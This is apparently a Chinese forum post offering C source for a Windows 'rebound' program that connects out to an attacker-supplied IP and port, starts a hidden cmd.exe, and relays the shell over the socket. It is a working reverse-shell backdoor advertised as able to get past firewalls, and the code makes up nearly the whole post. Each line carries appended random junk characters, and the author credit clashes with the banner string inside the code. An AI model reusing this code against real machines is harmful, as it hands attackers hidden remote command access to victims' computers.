这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rVsJ`+L
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/* ============================== A5w6]: f2
Rebound port in Windows NT gZ1?G-Q
By wind,2006/7 bN@
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===============================*/ Na Cy@
#include u<&m]]*
#include H>@+om
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#pragma comment(lib,"wsock32.lib") CJI~_3+K
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void OutputShell(); ,7b[!#?8
SOCKET sClient; Q NVa?'0"Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4E?Oky#}-
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void main(int argc,char **argv) S21,VpW\
{ t0?\l)
WSADATA stWsaData; POR\e|hRT]
int nRet; L j$;:/G
SOCKADDR_IN stSaiClient,stSaiServer; !{41!O,K#
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if(argc != 3) ?0xgRe<
{ &jr3B;g!C
printf("Useage:\n\rRebound DestIP DestPort\n"); E1 f\%!2l
return; ^zgo#J5O
} xn|(9#1o
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WSAStartup(MAKEWORD(2,2),&stWsaData); N)>ID(}F1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GowH]MO
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stSaiClient.sin_family = AF_INET; CVR3
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stSaiClient.sin_port = htons(0); 5rUdv}.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gltBC${7wZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T9q-,w/j;
{ aFIw=c(nP
printf("Bind Socket Failed!\n"); W`*r>`krVJ
return; /5AJ.r
} lB[kbJ
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stSaiServer.sin_family = AF_INET; 7vj2
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dGTsc/$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :p6M=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -s'-eQF J
{ K 'I#W
lg
printf("Connect Error!"); pFz`}?c0
return; 8sK9G`
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} uA#;G/$
OutputShell(); {cw /!B
} q6X1P"%.
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void OutputShell() eQvg7aO;
{ _n\GNUA
char szBuff[1024]; 5QO9Q]I#_\
SECURITY_ATTRIBUTES stSecurityAttributes; ~.lPEA %%
OSVERSIONINFO stOsversionInfo; xA[mm
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q.c\/&
STARTUPINFO stStartupInfo; ROZF)|l
char *szShell; w.-!UD9/.x
PROCESS_INFORMATION stProcessInformation; *G9V'9
unsigned long lBytesRead; k+l b@!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XHGFf_kW_N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vEz"xz1j!]
stSecurityAttributes.lpSecurityDescriptor = 0; ib791
stSecurityAttributes.bInheritHandle = TRUE; '>C5-R:O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _/<x
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @2v_pJy^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2SR: FUV/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d4z/5Oa
stStartupInfo.wShowWindow = SW_HIDE; X+]G-
stStartupInfo.hStdInput = hReadPipe; 3%=~)7cF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G'aDb/
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GetVersionEx(&stOsversionInfo); y Fq&8 x<X
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switch(stOsversionInfo.dwPlatformId) hqkz^!rp
{ URbletSBQ
case 1: ?p8_AL'RS
szShell = "command.com"; >t_6B~x9
break; ?=fyc1
default: F`]2O:[
szShell = "cmd.exe"; _ZkI)o
break; GF=g<H
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} /fV;^=:8c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T:W4$P
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send(sClient,szMsg,77,0); OJy#w{4
while(1) 3>VL}Ui}
{ CF5`-wj/#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @cB$iP=Z4
if(lBytesRead) *%@h(js
{ =+d?x56
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2*#|Nj=^
send(sClient,szBuff,lBytesRead,0); sZF6h=67D
} <0q;NrvUb
else by/jYg)+
{ ]
{HI?V
lBytesRead=recv(sClient,szBuff,1024,0); Y,zxbXZv'5
if(lBytesRead<=0) break; L4y4RG/SJ:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y9}>: pj4
} $l&(%\pp
} a-L;*
*,WU?tl&
return; fIv* T[
}